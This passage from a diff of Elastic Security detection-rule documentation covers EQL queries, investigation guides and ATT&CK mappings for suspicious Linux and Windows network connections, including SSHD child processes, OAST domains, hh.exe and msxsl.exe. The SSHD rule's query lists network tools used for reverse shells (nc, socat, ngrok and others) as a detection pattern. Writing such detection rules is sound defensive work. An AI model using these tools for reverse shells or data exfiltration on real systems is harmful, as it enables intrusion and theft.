deploy `auditd_manager` on a Linux system. +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-a always,exit -F arch=b64 -S mprotect +``` +Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. + + +==== Rule query + + +[source, js] +---------------------------------- +sample by host.id, process.pid, process.name + /* auditd.data.a2 == "7" translates to RWX memory region protection (PROT_READ | PROT_WRITE | PROT_EXEC) */ + [process where host.os.type == "linux" and auditd.data.syscall == "mprotect" and auditd.data.a2 == "7" and + not process.name in ("httpd", "java", "node", "code", "apache2")] + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and + not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-initiated-by-suspicious-sshd-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-initiated-by-suspicious-sshd-child-process.asciidoc new file mode 100644 index 0000000000..7e0e47cd47 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-initiated-by-suspicious-sshd-child-process.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-network-connection-initiated-by-suspicious-sshd-child-process]] +=== Network Connection Initiated by Suspicious SSHD Child Process + +This rule identifies an egress internet connection initiated by an SSH Daemon child process. This behavior is indicative of the alteration of a shell configuration file or other mechanism that launches a process when a new SSH login occurs. Attackers can also backdoor the SSH daemon to allow for persistence, call out to a C2 or to steal credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hadess.io/the-art-of-linux-persistence/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection Initiated by Suspicious SSHD Child Process* + + +The SSH Daemon (SSHD) facilitates secure remote logins and command execution on Linux systems. Adversaries may exploit SSHD by modifying shell configurations or backdooring the daemon to establish unauthorized connections, often for persistence or data exfiltration. The detection rule identifies suspicious outbound connections initiated by SSHD child processes, excluding benign processes and internal IP ranges, to flag potential malicious activity. + + +*Possible investigation steps* + + +- Review the process details of the SSHD child process that initiated the network connection, focusing on the process.entity_id and process.parent.entity_id to understand the process hierarchy and parent-child relationship. +- Examine the destination IP address of the network connection attempt to determine if it is associated with known malicious activity or suspicious external entities, especially since it is not within the excluded internal IP ranges. +- Investigate the executable path of the process that initiated the connection to ensure it is not a known benign process like "/bin/yum" or "/usr/bin/yum", and verify if the process name is not among the excluded ones such as "login_duo", "ssh", "sshd", or "sshd-session". +- Check the timing and frequency of the SSHD child process executions and network connection attempts to identify any patterns or anomalies that could indicate unauthorized or persistent access attempts. +- Correlate the alert with other security events or logs from the same host.id to gather additional context and determine if there are other indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Internal administrative scripts or tools that initiate network connections upon SSH login can trigger false positives. To manage this, identify and whitelist these specific scripts or tools by their process names or executable paths. +- Automated software updates or package management processes like yum may occasionally initiate network connections. Exclude these processes by adding them to the exception list using their executable paths. +- Security tools such as login_duo or other authentication mechanisms that establish network connections during SSH sessions can be mistaken for malicious activity. Exclude these tools by specifying their process names in the exception list. +- Custom monitoring or logging solutions that connect to external servers for data aggregation might be flagged. Identify these processes and exclude them by their executable paths or process names to prevent false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified as child processes of SSHD that are attempting unauthorized network connections. +- Conduct a thorough review of SSHD configuration files and shell configuration files for unauthorized modifications or backdoors, and restore them from a known good backup if necessary. +- Change all credentials associated with the affected system, especially those that may have been exposed or used during the unauthorized SSH sessions. +- Apply security patches and updates to the SSH daemon and related software to mitigate known vulnerabilities that could be exploited for persistence or unauthorized access. +- Monitor network traffic for any further suspicious outbound connections from other systems, indicating potential lateral movement or additional compromised hosts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the compromise. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.executable == "/usr/sbin/sshd" and not process.command_line like ("*ansible*", "*BECOME-SUCCESS*")] by process.entity_id + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and ( + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*", + "/proc/*", "/var/mail/*", "/var/www/*", "/home/*", "/root/*" + ) or + process.name like~ ( + // Hidden processes + ".*", + // Suspicious file formats + "*.elf", "*.sh", "*.py", "*.rb", "*.pl", "*.lua*", "*.php*", ".js", + // Scheduled tasks + "systemd", "cron", "crond", + // Network utilities often used for reverse shells + "nc", "netcat", "ncat", "telnet", "socat", "openssl", "nc.openbsd", "ngrok", "nc.traditional" + ) + ) and + not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) or + process.executable in ("/bin/yum", "/usr/bin/yum") or + process.name in ("login_duo", "ssh", "sshd", "sshd-session", "sqlplus") + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-to-oast-domain-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-to-oast-domain-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..c401f69569 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-to-oast-domain-via-script-interpreter.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-network-connection-to-oast-domain-via-script-interpreter]] +=== Network Connection to OAST Domain via Script Interpreter + +Detects when a package service such as npm, gems, or a script interpreter makes an outbound network connection to an OAST (Out-of-band Application Security Testing) domain. Threat actors have been using OAST domains to exfiltrate sensitive data from compromised systems via malicious packages. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://socket.dev/blog/weaponizing-oast-how-malicious-packages-exploit-npm-pypi-and-rubygems + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection to OAST Domain via Script Interpreter* + + +Out-of-Band Application Security Testing (OAST) services such as interact.sh, burpcollaborator.net, and similar platforms are designed for security testing to detect vulnerabilities through out-of-band data channels. However, threat actors abuse these same services for data exfiltration, command and control, and DNS-based exploitation. This detection rule identifies script interpreters or suspicious processes connecting to known OAST domains, which may indicate exploitation activity or unauthorized security testing. + + +*Possible investigation steps* + + +- Verify with your security team whether authorized penetration testing or red team exercises are currently underway that would involve OAST services. +- Review the process.name and process.executable fields to identify which application initiated the OAST connection and determine if it is a known vulnerable application. +- Examine the dns.question.name field to capture the full OAST subdomain, as the subdomain often contains encoded data or unique identifiers used by attackers. +- Analyze the process.parent.executable and process.command_line to understand how the connecting process was spawned and identify the potential vulnerability being exploited. +- Check for any HTTP request or response data associated with the OAST connection to identify what data may have been exfiltrated. +- Investigate the user.name and host.name to determine the scope of affected systems and user accounts. +- Review web application logs and proxy data for injection attempts or exploitation activity that may have triggered the OAST callback. + + +*False positive analysis* + + +- Authorized security researchers and penetration testers may use OAST services during sanctioned vulnerability assessments. Confirm testing windows with the security team before escalating. +- Bug bounty hunters testing your organization's applications may trigger OAST connections. Verify if bug bounty programs are active and expected. +- Security training or capture-the-flag exercises may involve OAST services for educational purposes. Confirm with training coordinators if such exercises are scheduled. +- Some commercial security scanning tools may use OAST-like services for vulnerability detection. Verify if automated security scanning is running. + + +*Response and remediation* + + +- If unauthorized, immediately block the OAST domain at the network perimeter, DNS resolver, and proxy to prevent further communication. +- Isolate the affected system to prevent lateral movement or additional data exfiltration. +- Identify the vulnerable application or injection point that led to the OAST callback and apply emergency patches or mitigations. +- Review the OAST subdomain and any captured data to assess the scope of information exposure. +- Conduct a thorough code review of affected applications to identify and remediate the underlying vulnerability. +- Implement web application firewall rules to detect and block common injection patterns that lead to OAST exploitation. +- Escalate to the incident response team for further investigation if the activity indicates active exploitation or compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + (process.name == "node" or process.name like ("python*", "ruby*", "perl*"))] + [network where host.os.type == "macos" and event.type == "start" and destination.domain like "*.oast*"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-via-compiled-html-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-via-compiled-html-file.asciidoc new file mode 100644 index 0000000000..6a037749f8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-via-compiled-html-file.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-network-connection-via-compiled-html-file]] +=== Network Connection via Compiled HTML File + +Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. Adversaries may conceal malicious code in a CHM file and deliver it to a victim for execution. CHM content is loaded by the HTML Help executable program (hh.exe). + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Connection via Compiled HTML File* + + +CHM (Compiled HTML) files are a format for delivering online help files on Windows. CHM files are compressed compilations of various content, such as HTML documents, images, and scripting/web-related programming languages such as VBA, JScript, Java, and ActiveX. + +When users double-click CHM files, the HTML Help executable program (`hh.exe`) will execute them. `hh.exe` also can be used to execute code embedded in those files, PowerShell scripts, and executables. This makes it useful for attackers not only to proxy the execution of malicious payloads via a signed binary that could bypass security controls, but also to gain initial access to environments via social engineering methods. + +This rule identifies network connections done by `hh.exe`, which can potentially indicate abuse to download malicious files or tooling, or masquerading. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Examine the command lines for suspicious activities. + - Retrieve `.chm`, `.ps1`, and other files that were involved for further examination. + - Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. + - Investigate the file digital signature and process original filename, if suspicious, treat it as potential malware. +- Investigate the target host that the signed binary is communicating with. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executables, scripts and help files retrieved from the system using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and process.name : "hh.exe" and event.type == "start"] + [network where host.os.type == "windows" and process.name : "hh.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8") and + not dns.question.name : "localhost"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Compiled HTML File +** ID: T1218.001 +** Reference URL: https://attack.mitre.org/techniques/T1218/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-via-msxsl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-via-msxsl.asciidoc new file mode 100644 index 0000000000..2f602e373e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-via-msxsl.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-network-connection-via-msxsl]] +=== Network Connection via MsXsl + +Identifies msxsl.exe making a network connection. This may indicate adversarial activity as msxsl.exe is often leveraged by adversaries to execute malicious scripts and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection via MsXsl* + + +MsXsl.exe is a legitimate Windows utility used to transform XML data using XSLT stylesheets. Adversaries exploit it to execute malicious scripts, bypassing security measures. The detection rule identifies suspicious network activity by MsXsl.exe, focusing on connections to non-local IPs, which may indicate unauthorized data exfiltration or command-and-control communication. + + +*Possible investigation steps* + + +- Review the process execution details for msxsl.exe, focusing on the process.entity_id and event.type fields to confirm the process start event and gather initial context. +- Analyze the network connection details, particularly the destination.ip field, to identify the external IP address msxsl.exe attempted to connect to and assess its reputation or any known associations with malicious activity. +- Check for any related alerts or logs involving the same process.entity_id to determine if msxsl.exe has been involved in other suspicious activities or if there are patterns of behavior indicating a broader attack. +- Investigate the parent process of msxsl.exe to understand how it was launched and whether it was initiated by a legitimate application or a potentially malicious script. +- Examine the system for any additional indicators of compromise, such as unusual file modifications or other processes making unexpected network connections, to assess the scope of potential adversarial activity. + + +*False positive analysis* + + +- Legitimate use of msxsl.exe for XML transformations in enterprise applications may trigger alerts. Users should identify and whitelist known applications or processes that use msxsl.exe for legitimate purposes. +- Automated scripts or scheduled tasks that utilize msxsl.exe for data processing can cause false positives. Review and document these tasks, then create exceptions for their network activity. +- Development or testing environments where msxsl.exe is used for debugging or testing XML transformations might be flagged. Ensure these environments are recognized and excluded from monitoring if they are verified as non-threatening. +- Internal network tools or monitoring solutions that leverage msxsl.exe for legitimate network communications should be identified. Add these tools to an exception list to prevent unnecessary alerts. +- Regularly review and update the list of excluded IP addresses to ensure that only trusted and verified internal IPs are exempt from triggering the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized data exfiltration or command-and-control communication. +- Terminate the msxsl.exe process if it is still running to stop any ongoing malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious scripts or files associated with msxsl.exe. +- Review and analyze the network logs to identify any other systems that may have been targeted or compromised by similar activity. +- Restore the affected system from a known good backup if any critical system files or configurations have been altered. +- Implement network segmentation to limit the ability of msxsl.exe or similar utilities to make unauthorized external connections in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been impacted. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and process.name : "msxsl.exe" and event.type == "start"] + [network where host.os.type == "windows" and process.name : "msxsl.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: XSL Script Processing +** ID: T1220 +** Reference URL: https://attack.mitre.org/techniques/T1220/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-via-recently-compiled-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-via-recently-compiled-executable.asciidoc new file mode 100644 index 0000000000..02f8f6f11f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-via-recently-compiled-executable.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-20-network-connection-via-recently-compiled-executable]] +=== Network Connection via Recently Compiled Executable + +This rule monitors a sequence involving a program compilation event followed by its execution and a subsequent network connection event. This behavior can indicate the set up of a reverse tcp connection to a command-and-control server. Attackers may spawn reverse shells to establish persistence onto a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection via Recently Compiled Executable* + + +In Linux environments, compiling and executing programs is routine for development. However, adversaries exploit this by compiling malicious code to establish reverse shells, enabling remote control. The detection rule identifies this threat by monitoring sequences of compilation, execution, and network activity, flagging unusual connections that deviate from typical patterns, thus indicating potential compromise. + + +*Possible investigation steps* + + +- Review the process execution details to identify the compiler used (e.g., gcc, g++, cc) and examine the arguments passed during the compilation to understand the nature of the compiled code. +- Investigate the file creation event associated with the linker (ld) to determine the output executable file and its location on the system. +- Analyze the subsequent process execution to identify the newly compiled executable and verify its legitimacy by checking its hash against known malware databases. +- Examine the network connection attempt details, focusing on the destination IP address, to determine if it is associated with known malicious activity or command-and-control servers. +- Check the process name involved in the network connection attempt to ensure it is not a commonly used legitimate process, as specified in the query exclusions (e.g., simpleX, conftest, ssh, python, ispnull, pvtui). +- Correlate the timing of the compilation, execution, and network connection events to assess if they align with typical user behavior or indicate suspicious activity. + + +*False positive analysis* + + +- Development activities involving frequent compilation and execution of new code can trigger false positives. To manage this, exclude specific user accounts or directories commonly used for legitimate development work. +- Automated build systems or continuous integration pipelines may compile and execute code regularly. Identify and exclude these processes or IP addresses from monitoring to prevent false alerts. +- Legitimate software updates or installations that involve compiling source code can be mistaken for malicious activity. Exclude known update processes or package managers from the rule. +- Network connections to internal or trusted IP addresses that are not part of the typical exclusion list might be flagged. Update the exclusion list to include these trusted IP ranges. +- Certain legitimate applications that compile and execute code as part of their normal operation, such as IDEs or scripting environments, should be identified and excluded from the rule to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified in the alert, especially those related to the recently compiled executable and any associated network connections. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized user accounts or 